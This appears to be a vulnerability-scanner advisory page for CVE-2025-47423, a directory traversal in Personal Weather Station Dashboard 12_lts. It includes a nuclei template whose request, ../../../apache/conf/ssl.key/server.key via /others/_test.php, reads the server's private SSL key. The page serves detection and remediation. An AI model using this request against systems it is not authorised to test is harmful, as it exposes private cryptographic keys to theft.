Personal Weather Station Dashboard 12 - Directory Traversal

highseverity

5.8CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.

Impact

Unauthenticated attackers can read arbitrary files including private SSL keys through directory traversal in the test parameter, potentially exposing sensitive cryptographic material.

Fix

Upgrade Personal Weather Station Dashboard to a version later than 12_lts that properly validates file paths.

How to confirm it

Send: GET /
Positive when: contains "PWS Dashboard</title>"
Send: GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key
Positive when: contains "BEGIN RSA PRIVATE KEY" and "END RSA PRIVATE KEY" AND status 200

Run it with nuclei: nuclei -id CVE-2025-47423 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-47423

info:
  name: Personal Weather Station Dashboard 12 - Directory Traversal
  author: pussycat0x
  severity: high
  description: |
    Personal Weather Station Dashboard 12_lts allows unauthenticated remote attackers to read arbitrary files via ../ directory traversal in the test parameter to /others/_test.php, as demonstrated by reading the server's private SSL key in cleartext.
  impact: |
    Unauthenticated attackers can read arbitrary files including private SSL keys through directory traversal in the test parameter, potentially exposing sensitive cryptographic material.
  remediation: |
    Upgrade Personal Weather Station Dashboard to a version later than 12_lts that properly validates file paths.
  reference:
    - https://github.com/Haluka92/CVE-2025-47423
    - https://pwsdashboard.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2025-47423
    cwe-id: CWE-24
    epss-score: 0.02011
    epss-percentile: 0.81038
  metadata:
    fofa-query: title="PWS Dashboard"
    max-request: 2
  tags: cve,cve2025,lfi,pws,traversal,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "PWS Dashboard</title>"
        internal: true

  - raw:
      - |
        GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "BEGIN RSA PRIVATE KEY"
          - "END RSA PRIVATE KEY"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from